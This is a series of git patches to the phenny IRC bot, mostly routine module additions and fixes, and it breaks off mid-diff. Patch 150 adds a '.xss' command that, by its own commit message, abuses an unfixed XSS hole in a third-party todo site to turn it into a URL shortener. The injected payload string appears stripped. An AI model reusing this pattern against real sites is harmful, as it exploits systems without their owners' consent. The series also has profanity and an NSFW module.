"""Shows the time from NPL's SNTP server."""
# for server in ('ntp1.npl.co.uk', 'ntp2.npl.co.uk'):
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- client.sendto('\x1b' + 47 * '\0', ('ntp1.npl.co.uk', 123))
+ client.sendto(b'\x1b' + 47 * b'\0', ('ntp1.npl.co.uk', 123))
data, address = client.recvfrom(1024)
if data:
buf = struct.unpack('B' * 48, data)
From e787df18501af938577f9376620f6e29c2481f33 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Sun, 12 Feb 2012 01:01:34 -0500
Subject: [PATCH 147/415] add rule34 module
---
modules/rule34.py | 41 +++++++++++++++++++++++++++++++++++++++++
1 file changed, 41 insertions(+)
create mode 100644 modules/rule34.py
diff --git a/modules/rule34.py b/modules/rule34.py
new file mode 100644
index 000000000..12609241f
--- /dev/null
+++ b/modules/rule34.py
@@ -0,0 +1,41 @@
+#!/usr/bin/python3
+"""
+rule34.py - urban dictionary module
+author: mutantmonkey
+"""
+
+from urllib.parse import quote as urlquote
+from urllib.error import HTTPError
+import web
+import lxml.html
+
+def rule34(phenny, input):
+ """.rule34 - Rule 34: If it exists there is porn of it."""
+
+ q = input.group(2)
+ if not q:
+ phenny.say(".rule34 - Rule 34: If it exists there is porn of it.")
+ return
+
+ try:
+ req = web.get("http://rule34.xxx/index.php?page=post&s=list&tags={0}".format(urlquote(q)))
+ except (HTTPError, IOError):
+ phenny.say("THE INTERNET IS FUCKING BROKEN. Please try again later.")
+ return
+
+ doc = lxml.html.fromstring(req)
+ doc.make_links_absolute('http://rule34.xxx/')
+
+ try:
+ thumb = doc.find_class('thumb')[0]
+ link = thumb.find('a').attrib['href']
+ except AttributeError:
+ phenny.say("THE INTERNET IS FUCKING BROKEN. Please try again later.")
+ return
+
+ response = '!!NSFW!! -> {0} <- !!NSFW!!'.format(link)
+ phenny.reply(response)
+rule34.rule = (['rule34'], r'(.*)')
+
+if __name__ == '__main__':
+ print(__doc__.strip())
From 78dccb1ec83434d212bba960357c3ef5e3bedeb2 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Sun, 12 Feb 2012 01:03:39 -0500
Subject: [PATCH 148/415] rule34: handle empty result set
---
modules/rule34.py | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/modules/rule34.py b/modules/rule34.py
index 12609241f..2a5d53892 100644
--- a/modules/rule34.py
+++ b/modules/rule34.py
@@ -25,9 +25,12 @@ def rule34(phenny, input):
doc = lxml.html.fromstring(req)
doc.make_links_absolute('http://rule34.xxx/')
+ thumb = doc.find_class('thumb')
+ if len(thumb) <= 0:
+ phenny.reply("You just broke Rule 34! Better start uploading...")
+ return
try:
- thumb = doc.find_class('thumb')[0]
link = thumb.find('a').attrib['href']
except AttributeError:
phenny.say("THE INTERNET IS FUCKING BROKEN. Please try again later.")
From 3203eae258b4396a0776ba769c8c74e08294c722 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Sun, 12 Feb 2012 01:06:32 -0500
Subject: [PATCH 149/415] rule34: fix
---
modules/rule34.py | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/modules/rule34.py b/modules/rule34.py
index 2a5d53892..619bfdb6b 100644
--- a/modules/rule34.py
+++ b/modules/rule34.py
@@ -25,13 +25,13 @@ def rule34(phenny, input):
doc = lxml.html.fromstring(req)
doc.make_links_absolute('http://rule34.xxx/')
- thumb = doc.find_class('thumb')
- if len(thumb) <= 0:
+ thumbs = doc.find_class('thumb')
+ if len(thumbs) <= 0:
phenny.reply("You just broke Rule 34! Better start uploading...")
return
try:
- link = thumb.find('a').attrib['href']
+ link = thumbs[0].find('a').attrib['href']
except AttributeError:
phenny.say("THE INTERNET IS FUCKING BROKEN. Please try again later.")
return
From eba2e5b8a36dcb543053ed669f81e12006c4e95d Mon Sep 17 00:00:00 2001
From: Calvin Winkowski
Date: Sun, 12 Feb 2012 04:32:16 -0500
Subject: [PATCH 150/415] Added url shortener using xss vulnerablity that owner
refused to fix.
---
modules/node-todo.py | 69 ++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 69 insertions(+)
create mode 100644 modules/node-todo.py
diff --git a/modules/node-todo.py b/modules/node-todo.py
new file mode 100644
index 000000000..d110adb3d
--- /dev/null
+++ b/modules/node-todo.py
@@ -0,0 +1,69 @@
+#!/usr/bin/python3
+"""
+node-todo.py - node-todo uploader
+author: mutantmonkey
+author: telnoratti
+"""
+
+from urllib.error import HTTPError
+from urllib import request
+import web
+import json
+
+def xss(phenny, input):
+ """.xss - Upload a URL to an XSS vulnerability in node-todobin.herokuapp.com."""
+
+ url = input.group(2)
+ if not url:
+ phenny.reply("No URL provided.")
+ return
+
+ if not url.startswith('http'):
+ url = ''.join(['http://', url])
+
+ try:
+ url = urlshortener(url)
+ except (HTTPError, IOError):
+ phenny.reply("THE INTERNET IS FUCKING BROKEN. Please try again later.")
+ return
+
+ phenny.reply(url)
+xss.rule = (['xss'], r'(.*)')
+
+
+
+def urlshortener(longurl):
+ xss = ''.join(["""{"status":false,"text":""}"""])
+ xss = xss.encode()
+ r = request.urlopen('http://node-todobin.herokuapp.com/list')
+ cookie = r.info().get('Set-Cookie').partition('=')[2].partition(';')[0]
+
+ r = request.Request('http://node-todobin.herokuapp.com/api/todos',
+ headers={
+ 'Content-Type': 'application/json',
+ 'Accept': 'application/json, text/javascript, */*',
+ 'Cookie': cookie,
+ }, data=b'{"id":null}')
+ opener = request.build_opener(request.HTTPHandler)
+ response = opener.open(r)
+ data = response.read()
+ js = json.loads(data.decode('utf-8'))
+ uri = js.get('uri')
+ url = '/'.join(['http://node-todobin.herokuapp.com/api/todos', uri])
+ newurl = '/'.join(['http://node-todobin.herokuapp.com/list', uri])
+
+ request.urlopen(url)
+ request.urlopen(newurl)
+ r = request.Request(url,
+ headers={
+ 'Content-Type': 'application/json',
+ 'Accept': 'application/json, text/javascript, */*',
+ 'Cookie': cookie,
+ }, data=xss)
+
+ opener.open(r)
+
+ return newurl
+
+if __name__ == '__main__':
+ print(__doc__.strip())
From f1e523e9bd3abd3698e61b5137de44149bdd9044 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Thu, 16 Feb 2012 17:39:44 -0500
Subject: [PATCH 151/415] update shebangs from python2 -> python3 to avoid
confusion
---
modules/8ball.py | 2 +-
modules/botfun.py | 2 +-
modules/botsnack.py | 2 +-
modules/lastfm.py | 2 +-
modules/mylife.py | 2 +-
modules/nsfw.py | 2 +-
6 files changed, 6 insertions(+), 6 deletions(-)
diff --git a/modules/8ball.py b/modules/8ball.py
index c050beabe..9c14cb8d9 100644
--- a/modules/8ball.py
+++ b/modules/8ball.py
@@ -1,4 +1,4 @@
-#!/usr/bin/python2
+#!/usr/bin/python3
"""
8ball.py - magic 8-ball
author: mutantmonkey
diff --git a/modules/botfun.py b/modules/botfun.py
index aef202796..09ebc3fc4 100644
--- a/modules/botfun.py
+++ b/modules/botfun.py
@@ -1,4 +1,4 @@
-#!/usr/bin/python2
+#!/usr/bin/python3
"""
botfight.py - .botfight module
author: mutantmonkey
diff --git a/modules/botsnack.py b/modules/botsnack.py
index bc9eeb776..d953f2d79 100644
--- a/modules/botsnack.py
+++ b/modules/botsnack.py
@@ -1,4 +1,4 @@
-#!/usr/bin/python2
+#!/usr/bin/python3
"""
botsnack.py - .botsnack module (aka simulated hunger 1.0)
author: mutantmonkey
diff --git a/modules/lastfm.py b/modules/lastfm.py
index 5f07fc61d..85aa097be 100644
--- a/modules/lastfm.py
+++ b/modules/lastfm.py
@@ -1,4 +1,4 @@
-#!/usr/bin/python2
+#!/usr/bin/python3
# -*- coding: utf-8 -*-
"""
lastfmn.py - lastfm module
diff --git a/modules/mylife.py b/modules/mylife.py
index 07634193d..1da79c9b7 100644
--- a/modules/mylife.py
+++ b/modules/mylife.py
@@ -1,4 +1,4 @@
-#!/usr/bin/python2
+#!/usr/bin/python3
"""
mylife.py - various commentary on life
author: Ramblurr
diff --git a/modules/nsfw.py b/modules/nsfw.py
index e37407045..021086ec6 100644
--- a/modules/nsfw.py
+++ b/modules/nsfw.py
@@ -1,4 +1,4 @@
-#!/usr/bin/python2
+#!/usr/bin/python3
"""
nsfw.py - some things just aren't safe for work, a phenny module
author: Casey Link
Date: Fri, 17 Feb 2012 22:10:29 -0500
Subject: [PATCH 152/415] switch to 4 space tabs in main phenny module
---
phenny | 292 ++++++++++++++++++++++++++++-----------------------------
1 file changed, 146 insertions(+), 146 deletions(-)
diff --git a/phenny b/phenny
index 2ecb0a301..ce53d8636 100755
--- a/phenny
+++ b/phenny
@@ -17,163 +17,163 @@ from textwrap import dedent as trim
dotdir = os.path.expanduser('~/.phenny')
def check_python_version():
- if sys.version_info < (3, 0):
- error = 'Error: Requires Python 3.0 or later, from www.python.org'
- print(error, file=sys.stderr)
- sys.exit(1)
+ if sys.version_info < (3, 0):
+ error = 'Error: Requires Python 3.0 or later, from www.python.org'
+ print(error, file=sys.stderr)
+ sys.exit(1)
def create_default_config(fn):
- f = open(fn, 'w')
- print(trim("""\
- nick = 'phenny'
- host = 'irc.example.net'
- port = 6667
- ssl = False
- ipv6 = False
- channels = ['#example', '#test']
- owner = 'yournickname'
-
- # password is the NickServ password, serverpass is the server password
- # password = 'example'
- # serverpass = 'serverpass'
-
- # These are people who will be able to use admin.py's functions...
- admins = [owner, 'someoneyoutrust']
- # But admin.py is disabled by default, as follows:
- exclude = ['admin']
-
- ignore = ['']
-
- # If you want to enumerate a list of modules rather than disabling
- # some, use "enable = ['example']", which takes precedent over exclude
- #
- # enable = []
-
- # Directories to load user modules from
- # e.g. /path/to/my/modules
- extra = []
-
- # Services to load: maps channel names to white or black lists
- external = {
- '#liberal': ['!'], # allow all
- '#conservative': [], # allow none
- '*': ['!'] # default whitelist, allow all
- }
-
- # EOF
- """), file=f)
- f.close()
+ f = open(fn, 'w')
+ print(trim("""\
+ nick = 'phenny'
+ host = 'irc.example.net'
+ port = 6667
+ ssl = False
+ ipv6 = False
+ channels = ['#example', '#test']
+ owner = 'yournickname'
+
+ # password is the NickServ password, serverpass is the server password
+ # password = 'example'
+ # serverpass = 'serverpass'
+
+ # These are people who will be able to use admin.py's functions...
+ admins = [owner, 'someoneyoutrust']
+ # But admin.py is disabled by default, as follows:
+ exclude = ['admin']
+
+ ignore = ['']
+
+ # If you want to enumerate a list of modules rather than disabling
+ # some, use "enable = ['example']", which takes precedent over exclude
+ #
+ # enable = []
+
+ # Directories to load user modules from
+ # e.g. /path/to/my/modules
+ extra = []
+
+ # Services to load: maps channel names to white or black lists
+ external = {
+ '#liberal': ['!'], # allow all
+ '#conservative': [], # allow none
+ '*': ['!'] # default whitelist, allow all
+ }
+
+ # EOF
+ """), file=f)
+ f.close()
def create_dotdir(dotdir):
- print('Creating a config directory at ~/.phenny...')
- try: os.mkdir(dotdir)
- except Exception as e:
- print('There was a problem creating %s:' % dotdir, file=sys.stderr)
- print(e.__class__, str(e), file=sys.stderr)
- print('Please fix this and then run phenny again.', file=sys.stderr)
- sys.exit(1)
+ print('Creating a config directory at ~/.phenny...')
+ try: os.mkdir(dotdir)
+ except Exception as e:
+ print('There was a problem creating %s:' % dotdir, file=sys.stderr)
+ print(e.__class__, str(e), file=sys.stderr)
+ print('Please fix this and then run phenny again.', file=sys.stderr)
+ sys.exit(1)
- print('Creating a default config file at ~/.phenny/default.py...')
- default = os.path.join(dotdir, 'default.py')
- create_default_config(default)
+ print('Creating a default config file at ~/.phenny/default.py...')
+ default = os.path.join(dotdir, 'default.py')
+ create_default_config(default)
- print('Done; now you can edit default.py, and run phenny! Enjoy.')
- sys.exit(0)
+ print('Done; now you can edit default.py, and run phenny! Enjoy.')
+ sys.exit(0)
def check_dotdir():
- if not os.path.isdir(dotdir):
- create_dotdir(dotdir)
+ if not os.path.isdir(dotdir):
+ create_dotdir(dotdir)
def config_names(config):
- config = config or 'default'
-
- def files(d):
- names = os.listdir(d)
- return list(os.path.join(d, fn) for fn in names if fn.endswith('.py'))
-
- here = os.path.join('.', config)
- if os.path.isfile(here):
- return [here]
- if os.path.isfile(here + '.py'):
- return [here + '.py']
- if os.path.isdir(here):
- return files(here)
-
- there = os.path.join(dotdir, config)
- if os.path.isfile(there):
- return [there]
- if os.path.isfile(there + '.py'):
- return [there + '.py']
- if os.path.isdir(there):
- return files(there)
-
- print("Error: Couldn't find a config file!", file=sys.stderr)
- print('What happened to ~/.phenny/default.py?', file=sys.stderr)
- sys.exit(1)
+ config = config or 'default'
+
+ def files(d):
+ names = os.listdir(d)
+ return list(os.path.join(d, fn) for fn in names if fn.endswith('.py'))
+
+ here = os.path.join('.', config)
+ if os.path.isfile(here):
+ return [here]
+ if os.path.isfile(here + '.py'):
+ return [here + '.py']
+ if os.path.isdir(here):
+ return files(here)
+
+ there = os.path.join(dotdir, config)
+ if os.path.isfile(there):
+ return [there]
+ if os.path.isfile(there + '.py'):
+ return [there + '.py']
+ if os.path.isdir(there):
+ return files(there)
+
+ print("Error: Couldn't find a config file!", file=sys.stderr)
+ print('What happened to ~/.phenny/default.py?', file=sys.stderr)
+ sys.exit(1)
def main(argv=None):
- # Step One: Parse The Command Line
-
- parser = optparse.OptionParser('%prog [options]')
- parser.add_option('-c', '--config', metavar='fn',
- help='use this configuration file or directory')
- opts, args = parser.parse_args(argv)
- if args: print('Warning: ignoring spurious arguments', file=sys.stderr)
-
- # Step Two: Check Dependencies
-
- check_python_version() # require python2.4 or later
- if not opts.config:
- check_dotdir() # require ~/.phenny, or make it and exit
-
- # Step Three: Load The Configurations
-
- config_modules = []
- for config_name in config_names(opts.config):
- name = os.path.basename(config_name).split('.')[0] + '_config'
- module = imp.load_source(name, config_name)
- module.filename = config_name
-
- if not hasattr(module, 'prefix'):
- module.prefix = r'\.'
-
- if not hasattr(module, 'name'):
- module.name = 'Phenny Palmersbot, http://inamidst.com/phenny/'
-
- if not hasattr(module, 'port'):
- module.port = 6667
-
- if not hasattr(module, 'ssl'):
- module.ssl = False
-
- if not hasattr(module, 'ipv6'):
- module.ipv6 = False
-
- if not hasattr(module, 'password'):
- module.password = None
-
- if module.host == 'irc.example.net':
- error = ('Error: you must edit the config file first!\n' +
- "You're currently using %s" % module.filename)
- print(error, file=sys.stderr)
- sys.exit(1)
-
- config_modules.append(module)
-
- # Step Four: Load Phenny
-
- try: from __init__ import run
- except ImportError:
- try: from phenny import run
- except ImportError:
- print("Error: Couldn't find phenny to import", file=sys.stderr)
- sys.exit(1)
-
- # Step Five: Initialise And Run The Phennies
-
- # @@ ignore SIGHUP
- for config_module in config_modules:
- run(config_module) # @@ thread this
+ # Step One: Parse The Command Line
+
+ parser = optparse.OptionParser('%prog [options]')
+ parser.add_option('-c', '--config', metavar='fn',
+ help='use this configuration file or directory')
+ opts, args = parser.parse_args(argv)
+ if args: print('Warning: ignoring spurious arguments', file=sys.stderr)
+
+ # Step Two: Check Dependencies
+
+ check_python_version() # require python2.4 or later
+ if not opts.config:
+ check_dotdir() # require ~/.phenny, or make it and exit
+
+ # Step Three: Load The Configurations
+
+ config_modules = []
+ for config_name in config_names(opts.config):
+ name = os.path.basename(config_name).split('.')[0] + '_config'
+ module = imp.load_source(name, config_name)
+ module.filename = config_name
+
+ if not hasattr(module, 'prefix'):
+ module.prefix = r'\.'
+
+ if not hasattr(module, 'name'):
+ module.name = 'Phenny Palmersbot, http://inamidst.com/phenny/'
+
+ if not hasattr(module, 'port'):
+ module.port = 6667
+
+ if not hasattr(module, 'ssl'):
+ module.ssl = False
+
+ if not hasattr(module, 'ipv6'):
+ module.ipv6 = False
+
+ if not hasattr(module, 'password'):
+ module.password = None
+
+ if module.host == 'irc.example.net':
+ error = ('Error: you must edit the config file first!\n' +
+ "You're currently using %s" % module.filename)
+ print(error, file=sys.stderr)
+ sys.exit(1)
+
+ config_modules.append(module)
+
+ # Step Four: Load Phenny
+
+ try: from __init__ import run
+ except ImportError:
+ try: from phenny import run
+ except ImportError:
+ print("Error: Couldn't find phenny to import", file=sys.stderr)
+ sys.exit(1)
+
+ # Step Five: Initialise And Run The Phennies
+
+ # @@ ignore SIGHUP
+ for config_module in config_modules:
+ run(config_module) # @@ thread this
if __name__ == '__main__':
- main()
+ main()
From 2820bc61d68b3ad4996565b8887268790fc776e4 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Fri, 17 Feb 2012 22:16:49 -0500
Subject: [PATCH 153/415] fix translate module, convert to 4 space tabs
---
modules/translate.py | 65 +++++++++++++++++++++++---------------------
1 file changed, 34 insertions(+), 31 deletions(-)
diff --git a/modules/translate.py b/modules/translate.py
index 17f25a3a9..6fdc3a467 100644
--- a/modules/translate.py
+++ b/modules/translate.py
@@ -73,37 +73,40 @@ def tr(phenny, context):
tr.priority = 'low'
def tr2(phenny, input):
- """Translates a phrase, with an optional language hint."""
- command = input.group(2).encode('utf-8')
-
- def langcode(p):
- return p.startswith(':') and (2 < len(p) < 10) and p[1:].isalpha()
-
- args = ['auto', 'en']
-
- for i in xrange(2):
- if not ' ' in command: break
- prefix, cmd = command.split(' ', 1)
- if langcode(prefix):
- args[i] = prefix[1:]
- command = cmd
- phrase = command
-
- if (len(phrase) > 350) and (not input.admin):
- return phenny.reply('Phrase must be under 350 characters.')
-
- src, dest = args
- if src != dest:
- msg, src = translate(phrase, src, dest)
- if isinstance(msg, str):
- msg = msg.decode('utf-8')
- if msg:
- msg = web.decode(msg) # msg.replace(''', "'")
- msg = '"%s" (%s to %s, translate.google.com)' % (msg, src, dest)
- else: msg = 'The %s to %s translation failed, sorry!' % (src, dest)
-
- phenny.reply(msg)
- else: phenny.reply('Language guessing failed, so try suggesting one!')
+ """Translates a phrase, with an optional language hint."""
+ command = input.group(2)
+ if not command:
+ phenny.reply("Please provide a phrase to translate")
+ return
+
+ def langcode(p):
+ return p.startswith(':') and (2 < len(p) < 10) and p[1:].isalpha()
+
+ args = ['auto', 'en']
+
+ for i in range(2):
+ if not ' ' in command: break
+ prefix, cmd = command.split(' ', 1)
+ if langcode(prefix):
+ args[i] = prefix[1:]
+ command = cmd
+ phrase = command.encode('utf-8')
+
+ if (len(phrase) > 350) and (not input.admin):
+ return phenny.reply('Phrase must be under 350 characters.')
+
+ src, dest = args
+ if src != dest:
+ msg, src = translate(phrase, src, dest)
+ #if isinstance(msg, str):
+ # msg = msg.decode('utf-8')
+ if msg:
+ msg = web.decode(msg) # msg.replace(''', "'")
+ msg = '"%s" (%s to %s, translate.google.com)' % (msg, src, dest)
+ else: msg = 'The %s to %s translation failed, sorry!' % (src, dest)
+
+ phenny.reply(msg)
+ else: phenny.reply('Language guessing failed, so try suggesting one!')
tr2.commands = ['tr']
tr2.priority = 'low'
From be18cfe02ac662ca322d37b11e50c9d640e1fc4b Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Sat, 18 Feb 2012 03:28:22 -0500
Subject: [PATCH 154/415] ignore logger and measure functions when showing
stats
---
modules/info.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/modules/info.py b/modules/info.py
index 820069298..e53128e1f 100644
--- a/modules/info.py
+++ b/modules/info.py
@@ -48,7 +48,7 @@ def stats(phenny, input):
users = {}
channels = {}
- ignore = set(['f_note', 'startup', 'message', 'noteuri'])
+ ignore = set(['f_note', 'startup', 'message', 'noteuri', 'logger', 'snarfuri', 'measure'])
for (name, user), count in list(phenny.stats.items()):
if name in ignore: continue
if not user: continue
From 61e3b91ab7dc3ed2a0c07462f2bfaedb30e69728 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Sat, 18 Feb 2012 03:30:01 -0500
Subject: [PATCH 155/415] also add messageAlert to ignore for .stats
---
modules/info.py | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/modules/info.py b/modules/info.py
index e53128e1f..b732130be 100644
--- a/modules/info.py
+++ b/modules/info.py
@@ -48,7 +48,8 @@ def stats(phenny, input):
users = {}
channels = {}
- ignore = set(['f_note', 'startup', 'message', 'noteuri', 'logger', 'snarfuri', 'measure'])
+ ignore = set(['f_note', 'startup', 'message', 'noteuri', 'logger',
+ 'snarfuri', 'measure', 'messageAlert'])
for (name, user), count in list(phenny.stats.items()):
if name in ignore: continue
if not user: continue
From 22cc890e7330154aa88d2cae3dec9bc4c50d1063 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Sat, 18 Feb 2012 03:38:22 -0500
Subject: [PATCH 156/415] tell: disallow storing messages for phenny.nick
---
modules/tell.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/modules/tell.py b/modules/tell.py
index 74ead9757..7249fd536 100644
--- a/modules/tell.py
+++ b/modules/tell.py
@@ -76,7 +76,7 @@ def f_remind(phenny, input):
return phenny.reply('That nickname is too long.')
timenow = time.strftime('%d %b %H:%MZ', time.gmtime())
- if not tellee in (teller.lower(), phenny.nick, 'me'): # @@
+ if not tellee in (teller.lower(), phenny.nick.lower(), 'me'): # @@
# @@ and year, if necessary
warn = False
if tellee not in phenny.reminders:
From c3555281077d70d4a1b6cef86357d1e7fe6c0f5c Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Sat, 18 Feb 2012 03:51:36 -0500
Subject: [PATCH 157/415] remove brokem mylife sites
---
modules/mylife.py | 31 -------------------------------
1 file changed, 31 deletions(-)
diff --git a/modules/mylife.py b/modules/mylife.py
index 1da79c9b7..bcb3e5887 100644
--- a/modules/mylife.py
+++ b/modules/mylife.py
@@ -38,23 +38,6 @@ def mlia(phenny, input):
phenny.say(quote)
mlia.commands = ['mlia']
-def mliarab(phenny, input):
- """.mliarab - My life is Arabic."""
- try:
- req = web.get("http://mylifeisarabic.com/random/")
- except (HTTPError, IOError):
- phenny.say("The site you requested, mylifeisarabic.com, has been " \
- "banned in the UAE. You will be reported to appropriate " \
- "authorities")
- return
-
- doc = lxml.html.fromstring(req)
- quotes = doc.find_class('entry')
- quote = random.choice(quotes)[0].text_content()
- quote = quote.strip()
- phenny.say(quote)
-mliarab.commands = ['mliar', 'mliarab']
-
def mlib(phenny, input):
""".mlib - My life is bro."""
try:
@@ -68,20 +51,6 @@ def mlib(phenny, input):
phenny.say(quote)
mlib.commands = ['mlib']
-def mlic(phenny, input):
- """.mlic - My life is creepy."""
- try:
- req = web.get("http://mylifeiscreepy.com/random")
- except (HTTPError, IOError):
- phenny.say("Error: Have you checked behind you?")
- return
-
- doc = lxml.html.fromstring(req)
- quote = doc.find_class('oldlink')[0].text_content()
- quote = quote.strip()
- phenny.say(quote)
-mlic.commands = ['mlic']
-
def mlid(phenny, input):
""".mlib - My life is Desi."""
try:
From ebf5a57d6f31f74aba4682e7a99b883dccdaf82c Mon Sep 17 00:00:00 2001
From: Rebecca Elena Stewart
Date: Wed, 22 Feb 2012 15:06:32 -0500
Subject: [PATCH 158/415] added choose module
---
modules/choose.py | 25 +++++++++++++++++++++++++
1 file changed, 25 insertions(+)
create mode 100644 modules/choose.py
diff --git a/modules/choose.py b/modules/choose.py
new file mode 100644
index 000000000..b079346a5
--- /dev/null
+++ b/modules/choose.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+"""
+choose.py - sometimes you just can't decide, a phenny module
+"""
+
+import re, random
+
+def choose(phenny, input):
+ """.choose - for when you just can't decide"""
+ origterm = input.groups()[1]
+ if not origterm:
+ return phenny.say(".choose - for when you just can't decide")
+ origterm = origterm
+ c = re.findall(r'([^,]+)', input)
+ if len(c) == 1:
+ c = re.findall(r'(\S+)', input)
+ if len(c) == 1:
+ return phenny.reply("%s" % (c))
+ fate = random.choice(c).strip()
+ return phenny.reply("%s" % (fate))
+choose.rule = (['choose'], r'(.*)')
+
+if __name__ == '__main__':
+ print(__doc__.strip())
From 1356a039ddfc4fd0108157ab5809d4b7bf48996e Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Wed, 22 Feb 2012 15:33:37 -0500
Subject: [PATCH 159/415] lastfm: remove .aep since it's broken
---
modules/lastfm.py | 32 --------------------------------
1 file changed, 32 deletions(-)
diff --git a/modules/lastfm.py b/modules/lastfm.py
index 85aa097be..2f7eb2087 100644
--- a/modules/lastfm.py
+++ b/modules/lastfm.py
@@ -136,38 +136,6 @@ def now_playing(phenny, input):
now_playing.commands = ['np']
-def aep(phenny, input):
- # c/pied from now_playing, we should but this code in a function
- # parse input and lookup lastfm user
- nick = input.nick
- user = ""
- arg = input.group(2)
- if arg == "help":
- phenny.say("WTF is an AEP? see http://goo.gl/GBbx8")
- return
- if not arg or len(arg.strip()) == 0:
- user = resolve_username(nick) # use the sender
- if not user: #nick didnt resolve
- user = nick
- else: # use the argument
- user = resolve_username(arg.strip())
- if not user: # user didnt resolve
- user = arg
- user = user.strip()
- try:
- req = urlopen("%s%s" % (AEPURL, urlquote(user)))
- except (HTTPError, http.client.BadStatusLine) as e:
- phenny.say("uhoh. try again later, mmkay?")
- return
- result = req.read()
- if "Bad Request" in result:
- phenny.say("%s doesn't exist on last.fm, perhaps they need to set user (see lastfm-set)" % (user))
- return
- aep_val = result.split(":")[1]
- phenny.say("%s has an AEP of %s" %(user, aep_val))
- return
-aep.commands = ['aep']
-
def tasteometer(phenny, input):
input1 = input.group(2)
if not input1 or len(input1) == 0:
From 8d5e750c9c6dc9d7cfec3da8531dd59d5807af06 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Wed, 22 Feb 2012 15:35:07 -0500
Subject: [PATCH 160/415] botfun: fix header
---
modules/botfun.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/modules/botfun.py b/modules/botfun.py
index 09ebc3fc4..64700bef4 100644
--- a/modules/botfun.py
+++ b/modules/botfun.py
@@ -1,6 +1,6 @@
#!/usr/bin/python3
"""
-botfight.py - .botfight module
+botfun.py - activities that bots do
author: mutantmonkey
"""
From 72135ea0ed86242b2271d437b76b2eacd5f4a6e5 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Wed, 22 Feb 2012 15:40:26 -0500
Subject: [PATCH 161/415] tfw: everything is more fun with unicode
---
modules/tfw.py | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/modules/tfw.py b/modules/tfw.py
index 5ecf108f4..11773d4e6 100644
--- a/modules/tfw.py
+++ b/modules/tfw.py
@@ -1,4 +1,5 @@
#!/usr/bin/python3
+# -*- coding: utf-8 -*-
"""
tfw.py - the fucking weather module
author: mutantmonkey
@@ -45,16 +46,15 @@ def tfw(phenny, input, fahrenheit=False, celsius=False):
if c.isdigit() or c == '-':
tempt += c
temp = int(tempt)
- deg = chr(176)
# add units and convert if necessary
if fahrenheit:
- temp = "%d%cF?!" % (temp, deg)
+ temp = "{0:d}°F‽".format(temp)
elif celsius:
- temp = "%d%cC?!" % (temp, deg)
+ temp = "{0:d}°C‽".format(temp)
else:
tempev = (temp + 273.15) * 8.617343e-5 * 1000
- temp = "%f meV?!" % tempev
+ temp = "%f meV‽" % tempev
# parse comment (broken by
, so we have do it this way)
comments = main[0].xpath('text()')
From 9ffdc281023eadff02b0ccffc88bf81460edc36e Mon Sep 17 00:00:00 2001
From: Rebecca Stewart
Date: Wed, 22 Feb 2012 15:46:45 -0500
Subject: [PATCH 162/415] fix .choose bugs
---
modules/choose.py | 7 +++----
1 file changed, 3 insertions(+), 4 deletions(-)
diff --git a/modules/choose.py b/modules/choose.py
index b079346a5..63570bafe 100644
--- a/modules/choose.py
+++ b/modules/choose.py
@@ -11,12 +11,11 @@ def choose(phenny, input):
origterm = input.groups()[1]
if not origterm:
return phenny.say(".choose - for when you just can't decide")
- origterm = origterm
- c = re.findall(r'([^,]+)', input)
+ c = re.findall(r'([^,]+)', origterm)
if len(c) == 1:
- c = re.findall(r'(\S+)', input)
+ c = re.findall(r'(\S+)', origterm)
if len(c) == 1:
- return phenny.reply("%s" % (c))
+ return phenny.reply("%s" % (c.strip()))
fate = random.choice(c).strip()
return phenny.reply("%s" % (fate))
choose.rule = (['choose'], r'(.*)')
From 0810db22fd308c9ef20e4fa287f1fcf33b5fcf26 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Wed, 22 Feb 2012 22:33:23 -0500
Subject: [PATCH 163/415] choose: fix no strip() on list object error
---
modules/choose.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/modules/choose.py b/modules/choose.py
index 63570bafe..6a00a244b 100644
--- a/modules/choose.py
+++ b/modules/choose.py
@@ -15,7 +15,7 @@ def choose(phenny, input):
if len(c) == 1:
c = re.findall(r'(\S+)', origterm)
if len(c) == 1:
- return phenny.reply("%s" % (c.strip()))
+ return phenny.reply("%s" % (c[0].strip()))
fate = random.choice(c).strip()
return phenny.reply("%s" % (fate))
choose.rule = (['choose'], r'(.*)')
From 825bf46fc0de3162e6695f8da60fa1e7b8cbc0d4 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Tue, 20 Mar 2012 22:01:32 -0400
Subject: [PATCH 164/415] fix .yi
---
modules/clock.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/modules/clock.py b/modules/clock.py
index 82c30475a..60576bb0d 100644
--- a/modules/clock.py
+++ b/modules/clock.py
@@ -256,7 +256,7 @@ def beats(phenny, input):
beats.priority = 'low'
def divide(input, by):
- return (input / by), (input % by)
+ return (input // by), (input % by)
def yi(phenny, input):
"""Shows whether it is currently yi or not."""
From 8fbc3f6fccedcb52fcb96860c8409f6602f1a162 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Wed, 21 Mar 2012 23:10:15 -0400
Subject: [PATCH 165/415] verify ssl certificates
---
irc.py | 7 +++++--
1 file changed, 5 insertions(+), 2 deletions(-)
diff --git a/irc.py b/irc.py
